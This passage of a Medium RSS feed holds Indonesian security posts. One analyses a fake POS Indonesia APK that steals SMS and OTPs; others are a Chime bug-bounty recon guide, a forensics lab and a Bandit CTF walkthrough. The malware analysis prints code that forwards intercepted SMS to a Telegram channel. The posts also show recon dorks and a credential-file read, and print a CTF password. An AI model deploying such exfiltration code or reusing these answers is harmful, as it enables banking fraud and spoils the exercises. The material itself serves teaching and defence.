Telegram?</p><ul><li>Gratis — Tidak perlu menyewa server</li><li>Sulit dilacak — Dibandingkan server konvensional</li><li>Kapasitas besar — Bot Telegram dapat menampung banyak data</li><li>Populer di kalangan penjahat siber — Kemudahan penggunaan dan anonimitas</li></ul><h3>SMS Interception: Jantung Kejahatan</h3><p>Inti dari operasi malware ini adalah kemampuannya untuk mengintersepsi dan mencuri pesan SMS.</p><h3>SMSBroadcastReader: Pendengar Berbahaya</h3><p>Kami menemukan class bernama SMSBroadcastReader yang merupakan <em>BroadcastReceiver</em>:</p><pre>public class SMSBroadcastReader extends BroadcastReceiver {<br>    public void onReceive(Context context, Intent intent) {<br>        Bundle extras = intent.getExtras();<br>        Object[] pdus = (Object[]) extras.get(&quot;pdus&quot;);<br>        <br>        for (int i = 0; i &lt; pdus.length; i++) {<br>            SmsMessage message = SmsMessage.createFromPdu((byte[]) pdus[i]);<br>            String sender = message.getDisplayOriginatingAddress();<br>            String body = message.getDisplayMessageBody();<br>            <br>            // Data langsung dikirim ke penyerang<br>            sendToTelegram(sender, body, getDeviceInfo());<br>        }<br>    }<br>}</pre><h3>Cara Kerja Lengkap</h3><ol><li>SMS masuk — Setiap SMS yang diterima perangkat akan memicu <em>broadcast event</em> dari sistem Android</li><li>Penyadapan — SMSBroadcastReader mendengarkan event ini dan mengekstrak isi pesan</li><li>Pengumpulan data — Malware mengumpulkan:</li></ol><ul><li>Nomor pengirim</li><li>Isi pesan lengkap</li><li>Waktu penerimaan</li><li>Informasi perangkat (merk, model)</li></ul><ol><li>Pengiriman — Semua data dikirim ke server penyerang melalui Telegram API</li></ol><h3>Data Apa yang Paling Berharga?</h3><p>Dari setiap SMS, malware membuat laporan terstruktur:</p><p>text</p><pre>From: [NOMOR_PENGIRIM]<br>Time: [TIMESTAMP]<br>Device: [MERK] [MODEL]<br>Message:<br>[ISI PESAN LENGKAP]</pre><p>Informasi ini mencakup <em>device fingerprinting</em> yang memungkinkan penyerang mengidentifikasi dan melacak perangkat korban secara spesifik.</p><h3>OTP Stealing: Pencurian Kredensial Finansial</h3><p>SMS yang paling berharga bagi penyerang adalah One-Time Password (OTP) dari:</p><ul><li>Mobile banking — Kode otorisasi transfer</li><li>Dompet digital — OTP login dan transaksi</li><li>Media sosial — Kode verifikasi dua faktor</li><li>Email — Kode pemulihan akun</li></ul><p>Dengan mengintersepsi SMS, penyerang dapat:</p><ul><li>Mencuri OTP verifikasi login</li><li>Mengotorisasi transaksi finansial tanpa sepengetahuan korban</li><li>Mengambil alih akun secara penuh</li></ul><h3>Remote Service &amp; Penyalahgunaan IPC: Otomasi Kejahatan</h3><p>Kami menemukan implementasi Android Binder IPC (komunikasi antar aplikasi) yang sangat berbahaya:</p><p>java</p><pre>com.bajingan.bangsat.service.IRemoteService</pre><p>Interface ini menyediakan method-method yang dapat dijalankan dari jarak jauh:</p><p>MethodFungsi BerbahayakillAppProcesses()Mematikan aplikasi antivirus atau keamananperformViewAction()Simulasi tap/click otomatis untuk membuka link berbahayainspectLayout()Menganalisis struktur layout aplikasi lain (terutama banking apps)setPreference()Memodifikasi pengaturan internal untuk menghindari deteksi</p><h3>Implikasi Nyata</h3><p>Temuan ini meningkatkan tingkat risiko menjadi KRITIS. Penyerang tidak hanya dapat mencuri SMS, tetapi juga:</p><ul><li>Menonaktifkan keamanan — Mematikan antivirus yang mencoba memblokir malware</li><li>Otomatisasi serangan — Membuka situs phishing, mengklik link berbahaya</li><li>Menganalisis aplikasi target — Mempelajari struktur aplikasi bank untuk serangan lebih lanjut</li><li>Menyembunyikan jejak — Memodifikasi pengaturan agar sulit terdeteksi</li></ul><h3>Verifikasi dengan MobSF: Analisis Otomatis</h3><p>Untuk memverifikasi temuan manual, kami menjalankan analisis statis penuh menggunakan Mobile Security Framework (MobSF).</p><h3>Hasil Keseluruhan</h3><p>MetrikNilaiSkor Keamanan47/100 (Sangat Rendah)Masalah Risiko TinggiTerdeteksi banyakIzin MalwareTerdeteksiKomponen EksporBanyak tanpa proteksi</p><h3>Temuan dari AndroidManifest.xml</h3><p>MobSF mendeteksi 19 peringatan pada file manifest, termasuk:</p><ol><li>Komponen Ekspor Tanpa Proteksi</li></ol><ul><li>Activity tanpa proteksi</li><li>Service tanpa proteksi</li><li>Broadcast Receiver tanpa proteksi</li></ul><ol><li>Artinya, aplikasi lain (termasuk malware lain) dapat memanggil komponen-komponen ini secara langsung.</li><li>Flag allowBackup Tidak Ditetapkan</li></ol><ul><li>android:allowBackup is missing (default: true)</li></ul><ol><li>Data aplikasi dapat diekstrak melalui ADB backup, mengekspos informasi sensitif seperti token, riwayat SMS, dan konfigurasi C2.</li></ol><h3>Lokasi Server</h3><p>MobSF mendeteksi koneksi ke server di beberapa lokasi:</p><ul><li>Amerika Serikat — Infrastruktur Firebase</li><li>Eropa — Potensi server C2</li><li>Multi-yurisdiksi — Menunjukkan infrastruktur global yang sulit dilacak</li></ul><h3>Verifikasi VirusTotal: Deteksi Multi-Vendor</h3><p>Untuk konfirmasi akhir, kami mengunggah file ke VirusTotal:</p><p>MetrikNilaiMD5f7b020261ca938de7f4f284a088a8dd8SHA256a07bcc68923cca9c37a60a5a059c0d933190a56bed2519e6c4508bf7314a459Deteksi8 dari 67 vendorKlasifikasiTrojan.SmsSpy</p><h3>Deteksi dari Vendor Keamanan Terkemuka</h3><p>Beberapa vendor mengidentifikasi file ini sebagai:</p><p>VendorKlasifikasiBitDefenderTrojan.Android.SmsSpyKasperskyHEUR:Trojan.Android.SMSDrWebAndroid.SmsStealerMcAfeeArtemis!TrojanSymantecSMSFraud</p><p>Deteksi dari banyak vendor menunjukkan bahwa ini bukan <em>false positive</em>, melainkan malware asli yang sudah dikenal dalam komunitas keamanan siber.</p><h3>Penilaian Risiko: Seberapa Berbahaya?</h3><h3>Tingkat Risiko: KRITIS 🔴</h3><p>Berdasarkan analisis komprehensif, aplikasi ini mendapat klasifikasi KRITIS karena kombinasi dari:</p><h3>Dampak Nyata bagi Korban</h3><p>DampakDeskripsiTingkat KeparahanPencurian OTP PerbankanAkses ke kontrol akun bank, transaksi tidak sahSANGAT TINGGIPenyadapan SMS TotalSemua SMS diakses tanpa persetujuanTINGGIPengiriman SMS Jarak JauhPenyerang dapat mengirim SMS atas nama korbanTINGGIEksekusi Perintah Jarak JauhKontrol penuh melalui Firebase C2SANGAT TINGGIPersistenceTetap aktif setelah reboot, sulit dihapusTINGGISpionaseAkses kamera, mikrofon, file pribadiSANGAT TINGGIMematikan AntivirusMenonaktifkan aplikasi keamananSANGAT TINGGI</p><h3>Timeline Dampak</h3><p>Menit Pertama:</p><ul><li>Riwayat SMS dicuri</li><li>Identitas perangkat dikirim ke penyerang</li><li>Perangkat terdaftar di server C2</li></ul><p>Jam Pertama:</p><ul><li>OTP perbankan dicuri saat korban bertransaksi</li><li>Potensi transaksi finansial tidak sah</li><li>Akun media sosial berisiko diambil alih</li></ul><p>Hari-Hari Berikutnya:</p><ul><li>Data pribadi terus dikumpulkan</li><li>Perangkat bisa digunakan sebagai bagian dari <em>botnet</em></li><li>Kerugian finansial dan reputasi meningkat</li></ul><h3>Kesimpulan: Verdict dan Langkah yang Harus Diambil</h3><h3>Verdict: Malware Berbahaya Tingkat Tinggi</h3><p>Berdasarkan analisis statis komprehensif menggunakan JADX, MobSF, dan verifikasi VirusTotal, kami menyimpulkan dengan keyakinan tinggi bahwa:</p><p>PT.POS_INDONESIA_2_3.apk adalah MALWARE berbahaya yang menyamar sebagai aplikasi resmi dengan kemampuan:</p><p>Kemampuan Status SMS Interception &amp; Harvesting ✅</p><p>OTP Stealing✅</p><p>Remote Command Execution (Firebase) ✅</p><p>Remote SMS Sending ✅</p><p>Persistence (auto-start on boot) ✅</p><p>Spyware (camera, mic, file access) ✅</p><p>Anti-detection &amp; Evasion ✅</p><p>Killing security apps✅</p><h3>Yang Harus Dilakukan Jika Terlanjur Menginstal</h3><p>LANGKAH 1: Hapus Aplikasi</p><ul><li>Buka Settings → Apps → cari aplikasi mencurigakan</li><li>Pilih Uninstall</li><li>Jika tombol uninstall tidak bisa diklik, segera reboot dalam <em>Safe Mode</em> dan coba lagi</li></ul><p>LANGKAH 2: Factory Reset (Rekomendasi Kuat)</p><ul><li>Cadangkan data penting (foto, kontak) secara manual</li><li>Lakukan factory reset melalui Settings → System → Reset Options</li><li>Ini adalah satu-satunya cara untuk memastikan malware benar-benar hilang</li></ul><p>LANGKAH 3: Ganti Semua Password</p><ul><li>Ganti password email</li><li>Ganti password mobile banking dan dompet digital</li><li>Aktifkan autentikasi dua faktor (2FA) jika tersedia</li></ul><p>LANGKAH 4: Monitor Aktivitas Mencurigakan</p><ul><li>Cek mutasi rekening secara berkala</li><li>Periksa aktivitas login media sosial</li><li>Laporkan ke bank jika ada transaksi tidak dikenal</li></ul><p>LANGKAH 5: Laporkan ke Pihak Berwenang</p><ul><li>Hubungi PATROL SIber atau lapor ke cybercrime setempat</li><li>Sertakan informasi file APK untuk membantu investigasi</li></ul><h3>Cara Mencegah di Masa Depan</h3><p>✅ Download APK hanya dari Google Play Store resmi — Hindari sumber tidak dikenal</p><p>✅ Periksa package name sebelum install — Nama package biasanya mencerminkan developer (misal: com.bca.mobile)</p><p>✅ Baca ulasan dan rating — Aplikasi palsu sering punya ulasan negatif atau aneh</p><p>✅ Perhatikan izin yang diminta — Aplikasi kurir tidak perlu akses SMS dan kamera</p><p>✅ Install aplikasi keamanan terpercaya — Seperti Malwarebytes atau Bitdefender</p><p>✅ Update Android OS secara rutin — Patch keamanan terbaru melindungi dari celah yang dieksploitasi malware</p><p>✅ Aktifkan Google Play Protect — Fitur keamanan bawaan Android</p><h3>Penutup</h3><p>Di era digital ini, keamanan data pribadi adalah tanggung jawab bersama antara pengguna, developer, dan regulator. Malware seperti ini menargetkan kelengahan pengguna dan memanfaatkan rasa percaya terhadap brand ternama.</p><p>Setiap klik, setiap instalasi, setiap izin yang diberikan adalah keputusan keamanan. Sedikit kewaspadaan hari ini dapat menyelamatkan jutaan rupiah dan puluhan jam pemulihan di masa depan.</p><p>Tetap aman. Pikir sebelum klik. Verifikasi sebelum instal.</p><h3>Referensi Teknis</h3><ul><li>JADX — Dekompiler untuk melihat source code dari APK</li><li>Mobile Security Framework (MobSF) — Platform analisis statis dan dinamis</li><li>VirusTotal — Layanan scanning multi-vendor</li><li>Android Developer Documentation — Referensi permission dan komponen</li><li>OWASP Mobile Security — Panduan keamanan aplikasi mobile</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a139c230fff3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Panduan Recon & Enumeration Bug Bounty (Chime) untuk Pemula]]></title>
            <link>https://medium.com/@adriansyah1230/panduan-recon-enumeration-bug-bounty-chime-untuk-pemula-a37c559d2e72?source=rss-bde419e52529------2</link>
            <guid isPermaLink="false">https://medium.com/p/a37c559d2e72</guid>
            <category><![CDATA[reconnaissance]]></category>
            <category><![CDATA[enumeration]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Adrian Syah Abidin]]></dc:creator>
            <pubDate>Wed, 25 Feb 2026 08:58:31 GMT</pubDate>
            <atom:updated>2026-02-25T08:58:31.397Z</atom:updated>
            <content:encoded><![CDATA[<p>Bug bounty itu seperti “lomba mencari celah keamanan” <strong>secara legal</strong> di website/aplikasi yang memang membuka program keamanan. Di halaman Trust &amp; Safety, Chime menyebut mereka punya program bug bounty aktif melalui Bugcrowd, jadi pengujian harus mengikuti aturan dan scope yang ditentukan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*djIFOBMmBDCxzlDCFMXxCg.png" /></figure><h3>1) Persiapan Lab: Windows + VirtualBox + Kali</h3><p>Agar aman, latihan sebaiknya dilakukan di mesin virtual (VM), jadi sistem utama Windows kita tidak “kotor” oleh tools pentest. kita bisa install VirtualBox di Windows, lalu jalankan Kali Linux sebagai VM.</p><p>Langkah ringkasnya:</p><ul><li>Install VirtualBox di Windows, lalu download Kali Linux (versi untuk VirtualBox).</li><li>Import Kali ke VirtualBox, lalu atur jaringan (umumnya NAT sudah cukup untuk browsing dan riset).</li><li>Setelah Kali menyala, lakukan update agar tool dan sistemnya terbaru:</li></ul><pre>sudo apt update &amp;&amp; sudo apt -y full-upgrade<br>sudo reboot</pre><h3>2) Daftar Platform Bug Bounty</h3><p>Untuk tugas ini, kita diminta daftar di beberapa platform tempat program bug bounty dipublikasikan:</p><ul><li>Bugcrowd (<a href="https://bugcrowd.com/engagements/chime">program Chime ada di sini</a>).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dME7xkES0TwU5RheBqfolg.png" /></figure><ul><li>HackerOne (H1).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xXKvR8ANryISclPjJUK24w.png" /></figure><ul><li>YesWeHack.</li></ul><p>Tips: isi profil dengan benar, karena dalam dunia bug bounty, laporan kita akan dinilai dan diverifikasi oleh tim triage/security.</p><h3>Berikut versi yang telah diperbaiki strukturnya — saya merapikan hierarki, konsistensi format kode, dan alur penjelasannya agar lebih mudah dibaca.</h3><h3>3. Pilih Target &amp; Pastikan Legal (Scope)</h3><p>Dalam bug bounty, kita tidak boleh sembarangan men-scan semua domain di internet. Kita harus memilih target yang memang <strong>in scope</strong> — artinya, target yang secara eksplisit diizinkan untuk diuji sesuai aturan program.</p><p>Salah satu contoh target web publik yang sering dipakai untuk latihan recon pasif adalah <a href="https://www.chime.com/">www.chime.com</a>. Namun, selalu cek scope yang berlaku di program bug bounty-nya dan patuhi larangan seperti DoS, social engineering, atau mengakses data orang lain. Chime sendiri menekankan agar pengujian dilakukan secara bertanggung jawab dan mengarahkan security researcher ke program mereka di Bugcrowd.</p><h3>4. Recon &amp; Enumeration</h3><p>Tahap ini intinya adalah <strong>mengumpulkan informasi</strong> sebelum mencari bug — seperti detektif yang mengumpulkan petunjuk sebelum menarik kesimpulan.</p><h3>Cek WHOIS</h3><p>WHOIS adalah “data pendaftaran” sebuah domain, mirip seperti KTP-nya domain. Dari data WHOIS publik, chime.com tercatat dibuat pada 17 Juli 1997 dengan registrar CSC Corporate Domains, Inc.</p><pre>whois chime.co</pre><h3>Identifikasi Web Stack</h3><p>Web stack mencakup CDN/WAF (pelindung server), library frontend, hingga layanan pihak ketiga. Sebagai contoh, analisis pihak ketiga terhadap chime.com mendeteksi Cloudflare, OneTrust, Segment, dan beberapa teknologi lain. Data ini bukan bukti mutlak, tapi cukup untuk membangun gambaran awal tentang infrastruktur target.</p><h3>DNS Enumeration</h3><p>DNS bekerja seperti buku telepon: domain diterjemahkan menjadi alamat server. Record yang perlu diperhatikan antara lain NS (nameserver), MX (email), TXT (verifikasi/keamanan), dan A/AAAA (alamat IP).</p><pre>dig chime.com NS +short<br>dig chime.com MX +short</pre><p><strong>Kenapa zone transfer (AXFR) sering diblokir?</strong><br> AXFR ibarat meminta “salinan penuh buku telepon” suatu domain. Organisasi serius umumnya memblokir AXFR publik agar daftar host dan subdomain internal tidak bocor. Jika hasilnya REFUSED, NOTAUTH, atau timeout — itu hal yang normal dan justru bisa dicatat sebagai bukti kontrol keamanan yang baik dalam laporan kita.</p><h3>Subdomain Enumeration</h3><p>Subdomain seperti app.chime.com atau help.chime.com bisa memiliki fungsi yang sangat berbeda — login, API, help center, staging, dan lain-lain. Bug sering muncul di area yang jarang diperhatikan, sehingga subdomain enumeration menjadi langkah yang penting.</p><h3>Directory Discovery</h3><p>Tahap ini seperti mencari “ruangan-ruangan” di dalam sebuah website, misalnya /login, /api, atau /admin. Saat melakukannya di program bug bounty, lakukan dengan pelan dan terukur — hindari mengirim terlalu banyak request yang bisa mengganggu layanan.</p><h3>Wayback Machine URL Enumeration</h3><p>Wayback Machine menyimpan arsip halaman lama yang kadang masih mengandung endpoint atau parameter yang sudah usang namun belum sepenuhnya dihapus. Fokuskan penelusuran pada URL yang memiliki parameter ? atau ekstensi file sensitif seperti .json untuk ditinjau secara aman.</p><h3>Google Dorking</h3><p>Dorking adalah teknik OSINT yang memanfaatkan operator pencarian untuk menemukan informasi publik yang “tersembunyi” di mesin pencari, seperti dokumen PDF, halaman login, atau halaman error yang terekspos.</p><pre>textsite:chime.com inurl:login<br>site:chime.com filetype:pdf<br>site:chime.com &quot;openapi&quot; OR &quot;swagger&quot;</pre><p>Ada bagian tertentu yang ingin dikembangkan lebih lanjut, misalnya menambahkan penjelasan tool otomatis seperti subfinder atau amass untuk subdomain enumeration?</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a37c559d2e72" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Write-Up: Digital Forensics Lab 01 — Introduction to Digital Forensics]]></title>
            <link>https://medium.com/@adriansyah1230/write-up-digital-forensics-lab-01-introduction-to-digital-forensics-8f4a07de3fe0?source=rss-bde419e52529------2</link>
            <guid isPermaLink="false">https://medium.com/p/8f4a07de3fe0</guid>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[blue-team]]></category>
            <dc:creator><![CDATA[Adrian Syah Abidin]]></dc:creator>
            <pubDate>Fri, 20 Feb 2026 15:58:22 GMT</pubDate>
            <atom:updated>2026-02-20T15:58:22.204Z</atom:updated>
            <content:encoded><![CDATA[<p>Ditulis Oleh : Adrian Syah Abidin</p><p>Tantangan <strong>Lab 01</strong> dari repositori Github <a href="https://github.com/vonderchild/digital-forensics-lab/tree/main/Lab%2001">vonderchild/digital-forensics-lab</a> adalah pintu gerbang yang sempurna untuk memahami dasar-dasar Forensik Digital. Lab ini menguji pemahaman kita tentang perintah dasar Linux yang sering digunakan dalam investigasi, serta teknik dasar perbaikan berkas (<em>File Signature Recovery</em>).</p><p>Artikel ini akan memandu Anda langkah demi langkah untuk menyelesaikan seluruh <em>exercise</em> di Lab 01 menggunakan <strong>Kali Linux</strong>.</p><h3>🛠️ Persiapan &amp; Instalasi Tools di Kali Linux</h3><p>Sebelum mulai menginvestigasi, kita perlu memastikan bahwa semua <em>tools</em> yang dibutuhkan sudah terpasang di sistem operasi Kali Linux Anda. Kita akan menggunakan beberapa alat bawaan Linux dan satu <em>hex editor</em>.</p><p>Buka terminal Anda dan jalankan perintah berikut untuk memperbarui <em>repository</em> dan menginstal <em>tools</em>:</p><pre>sudo apt update<br>sudo apt install curl hexedit xxd file net-tools -y</pre><p><strong>Penjelasan Tools:</strong></p><ul><li>curl: Untuk mengunduh file tantangan langsung dari terminal.</li><li>hexedit: Editor heksadesimal interaktif untuk memperbaiki <em>magic bytes</em> file yang rusak.</li><li>xxd: Tool untuk melihat hexdump dari sebuah file.</li><li>file: Untuk mengidentifikasi jenis dan ekstensi file yang sebenarnya.</li><li>net-tools: Menyediakan perintah netstat untuk pengecekan koneksi jaringan.</li></ul><h3>📂 Bagian 1: Basic Linux Commands untuk Forensik</h3><p>Pada bagian pertama lab ini, kita diminta untuk menjawab beberapa skenario menggunakan perintah dasar Linux. Berikut adalah solusi dan penjelasannya:</p><h3>1. Menampilkan semua file .txt di direktori saat ini</h3><p>Jika kita ingin mencari dan mendaftar semua file berakhiran .txt, kita bisa menggunakan perintah find atau ls:</p><pre>find . -type f -name &quot;*.txt&quot;<br># ATAU<br>ls *.txt</pre><p><em>Penjelasan:</em> find . mencari di direktori saat ini. -type f membatasi pencarian hanya pada file. -name &quot;*.txt&quot; menyaring file yang berakhiran .txt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/514/1*IXM9_xjZ8s9Uf9sAwwM6Pw.png" /></figure><h3>2. Membaca isi dari file /etc/passwd</h3><p>File /etc/passwd berisi informasi mengenai akun <em>user</em> di Linux. Untuk melihat isinya, gunakan:</p><pre>cat /etc/passwd</pre><p><em>Penjelasan:</em> cat (concatenate) digunakan untuk membaca dan menampilkan keseluruhan isi file teks ke layar terminal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/595/1*mtpm6zFlWj22alOuySaZOg.png" /></figure><h3>3. Mencari kata “Error” di dalam folder /var/log</h3><p>Folder /var/log adalah tempat sistem menyimpan log (catatan aktivitas). Untuk mencari pesan <em>error</em>, gunakan:</p><pre>grep -r &quot;Error&quot; /var/log/</pre><p><em>Penjelasan:</em> grep digunakan untuk mencari teks spesifik. Flag -r (<em>recursive</em>) memerintahkan <em>grep</em> untuk mencari ke dalam seluruh file dan sub-folder yang ada di dalam /var/log/.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/646/1*cG884Fpkm1jBvHV2ltO_3A.png" /></figure><h3>4. Mencari file yang dimodifikasi dalam 30 menit terakhir di folder /home</h3><p>Dalam investigasi, kita seringkali perlu tahu file apa saja yang baru saja diubah oleh <em>attacker</em>.</p><pre>find /home -type f -mmin -30</pre><p><em>Penjelasan:</em> -type f untuk mencari file, dan -mmin -30 memfilter file yang waktu modifikasinya (<em>modified minute</em>) terjadi kurang dari 30 menit yang lalu.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/621/1*9jwRYv788NlrkQvORxol3g.png" /></figure><h3>5. Menampilkan semua koneksi jaringan TCP yang sedang aktif/listening</h3><p>Untuk melihat apakah ada <em>backdoor</em> atau layanan mencurigakan yang berjalan di jaringan:</p><pre>netstat -ta</pre><p><em>Penjelasan:</em> netstat menampilkan statistik jaringan. Flag -t membatasi hanya koneksi TCP, dan -a (<em>all</em>) menampilkan semua <em>socket</em> baik yang sedang <em>listening</em> maupun yang sudah terhubung.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*0XhRx5P8-R1_mADlSx9YMg.png" /></figure><h3>🕵️‍♂️ Bagian 2: Tantangan “Corrupted File” (Perbaikan File)</h3><p>Bagian paling menarik dari Lab 01 adalah menganalisis dan memperbaiki file gambar yang rusak (<em>corrupted image</em>). <em>Attacker</em> seringkali merusak <em>header</em> file untuk menyembunyikan bukti digital.</p><h3>Langkah 1: Mengunduh File Tantangan</h3><p>Mari kita unduh file tantangannya ke <em>workspace</em> kita:</p><pre>mkdir lab01_forensics<br>cd lab01_forensics<br>curl -L [https://raw.githubusercontent.com/vonderchild/digital-forensics-lab/main/Lab%2001/files/challenge.png](https://raw.githubusercontent.com/vonderchild/digital-forensics-lab/main/Lab%2001/files/challenge.png) -o challenge.png</pre><h3>Langkah 2: Identifikasi Masalah</h3><p>Coba buka file tersebut. Gambar pasti tidak akan bisa dibuka. Mari kita cek jenis filenya menggunakan sistem Linux:</p><pre>file challenge.png</pre><p><strong>Output:</strong> challenge.png: data</p><p>Sistem Linux tidak mengenalinya sebagai PNG, melainkan hanya sebagai “data” acak. Ini menandakan bahwa <strong>File Signature</strong> (Magic Bytes) dari gambar tersebut telah dirusak.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/1*uIUwT18n4Uhkhp-WN_DZ-g.png" /></figure><h3>Langkah 3: Inspeksi Magic Bytes</h3><p>Setiap jenis file memiliki <em>Magic Bytes</em> (deretan heksadesimal unik di awal file) sebagai identitas aslinya. Mari kita lihat heksadesimal dari file ini:</p><pre>xxd -l 16 challenge.png</pre><p>Jika kita melihat outputnya, deretan angka heksadesimal pertamanya tidak sesuai dengan standar PNG. File PNG yang sehat dan valid <strong>selalu</strong> diawali dengan <em>Magic Bytes</em> berikut: 89 50 4E 47 0D 0A 1A 0A.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*uVypL-EAdxV10N7y83hvWA.png" /></figure><h3>Langkah 4: Memperbaiki Header File dengan Hexedit</h3><p>Sekarang saatnya kita memperbaiki file tersebut agar bisa dibaca kembali. Buka file menggunakan hexedit:</p><pre>hexedit challenge.png</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*DGF4iQFNg8kVy6_CM16oCw.png" /></figure><p><strong>Instruksi di dalam Hexedit:</strong></p><ol><li>Anda akan melihat banyak angka heksadesimal. Kursor Anda secara otomatis akan berada di blok paling kiri atas (byte pertama).</li><li>Ketikkan <em>Magic Bytes</em> PNG yang benar secara perlahan: 89 50 4E 47 0D 0A 1A 0A (Abaikan spasinya, cukup ketik 89504E470D0A1A0A).</li><li>Angka yang Anda ketik akan menimpa angka yang salah.70D0A1A0A</li><li>Simpan perubahan dengan menekan tombol <strong>Ctrl + X</strong>.</li><li>Tekan <strong>Y</strong> (Yes) saat ditanya apakah ingin menyimpan.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*Z6tx9JXxdDKzAVQ9GYUB2g.png" /></figure><h3>Langkah 5: Verifikasi dan Dapatkan Flag!</h3><p>Mari kita periksa kembali menggunakan perintah file:</p><pre>file challenge.png</pre><p><strong>Output:</strong> challenge.png: PNG image data...</p><p>Berhasil! Sistem sekarang mengenali file tersebut sebagai gambar PNG yang sah.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*0PlZa4AzZ05SlP9QNXLaeA.png" /></figure><p>Terakhir, buka gambarnya menggunakan perintah ini (atau cukup klik ganda file tersebut melalui <em>File Manager</em> GUI):</p><pre>xdg-open challenge.png</pre><p>Gambar akan terbuka dengan sempurna dan <strong>Flag</strong> untuk menyelesaikan tantangan ini akan terpampang jelas di dalam gambar tersebut! 🚩</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BncnO0jCdrkPHa_zRsMGxQ.png" /></figure><h3>🎯 Kesimpulan</h3><p>Pada Lab 01 ini, kita telah berhasil mempelajari dua pondasi krusial dalam Digital Forensics:</p><ol><li><strong>Navigasi &amp; Pencarian:</strong> Menggunakan <em>Command Line</em> Linux untuk mencari artefak, membaca log, mencari aktivitas modifikasi data, dan memantau jaringan.</li><li><strong>File Carving &amp; Recovery:</strong> Memahami cara kerja <em>Magic Bytes</em> dan menggunakan <em>Hex Editor</em> untuk memulihkan file bukti digital yang telah dirusak.</li></ol><p>Selamat! Anda telah menyelesaikan langkah pertama menjadi seorang analis forensik digital.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8f4a07de3fe0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OverTheWire: Bandit Wargame — Complete Write-Up (Level 0–20)]]></title>
            <link>https://medium.com/@adriansyah1230/overthewire-bandit-wargame-complete-write-up-level-0-20-919d4bd113b6?source=rss-bde419e52529------2</link>
            <guid isPermaLink="false">https://medium.com/p/919d4bd113b6</guid>
            <category><![CDATA[capture-the-flag]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bandit-overthewire]]></category>
            <dc:creator><![CDATA[Adrian Syah Abidin]]></dc:creator>
            <pubDate>Fri, 20 Feb 2026 13:43:24 GMT</pubDate>
            <atom:updated>2026-02-20T13:43:24.044Z</atom:updated>
            <content:encoded><![CDATA[<p>Ditulis Oleh : Adrian Syah Abidin</p><h4>Environment: Kali Linux | Platform: <a href="http://overthewire.org/wargames/bandit">overthewire.org/wargames/bandit</a></h4><h3>Pendahuluan</h3><p>Bandit adalah wargame dari OverTheWire yang dirancang untuk pemula absolute di dunia CTF (<em>Capture The Flag</em>) dan keamanan siber. Setiap level mengajarkan konsep baru Linux, mulai dari navigasi file, manipulasi teks, hingga koneksi jaringan dan kriptografi dasar. Artikel ini merupakan panduan lengkap step-by-step untuk menyelesaikan Level 0 hingga Level 20 menggunakan terminal <strong>Kali Linux</strong>.</p><p><strong>Info Koneksi:</strong></p><ul><li>Host: bandit.labs.overthewire.org</li><li>Port: 2220</li><li>Protocol: SSH</li></ul><blockquote><em>⚠️ </em><strong><em>Catatan:</em></strong><em> Password setiap level dapat berubah sewaktu-waktu. Simpan password yang kamu temukan di file catatan lokal agar tidak kehilangan progress.</em></blockquote><h3>Level 0 — SSH Login Pertama</h3><h3>🎯 Goal</h3><p>Login ke server menggunakan SSH dengan kredensial yang diberikan.</p><h3>Step-by-Step</h3><pre>ssh bandit0@bandit.labs.overthewire.org -p 2220<br># Password: bandit0</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*7QO2KXbQtT5ZauAuvL7NRQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*UWFpFQ36lWm4wTXhFbGxqA.png" /></figure><p>Setelah berhasil login, kamu akan masuk ke shell bandit0. Level ini hanya menguji kemampuan dasar koneksi SSH.</p><h3>Level 0 → Level 1</h3><h3>🎯 Goal</h3><p>Password untuk level berikutnya tersimpan dalam file bernama readme di home directory.</p><h3>Konsep</h3><p>ls, cat, navigasi direktori dasar.</p><h3>Step-by-Step</h3><pre># Login<br>ssh bandit0@bandit.labs.overthewire.org -p 2220</pre><pre># Lihat isi home directory<br>ls</pre><pre># Baca file readme<br>cat readme</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/629/1*2XR3WusCkFdWd9sX2oMz_w.png" /></figure><p><strong>Output:</strong> Password untuk bandit1 akan tampil di terminal. Salin dan simpan. {ZjLjTmM6FvvyRnrb2rfNWOZOTa6ip5If}</p><h3>Level 1 → Level 2</h3><h3>🎯 Goal</h3><p>Password tersimpan dalam file bernama <strong>-</strong> di home directory.</p><h3>Konsep</h3><p>File dengan nama menggunakan karakter khusus tidak bisa dibaca langsung dengan cat - karena bash menginterpretasinya sebagai stdin flag.</p><h3>Step-by-Step</h3><pre># Login sebagai bandit1<br>ssh bandit1@bandit.labs.overthewire.org -p 2220</pre><pre># Cara 1: Gunakan path relatif<br>cat ./-</pre><pre># Cara 2: Gunakan full path<br>cat /home/bandit1/-</pre><figure><img alt="" 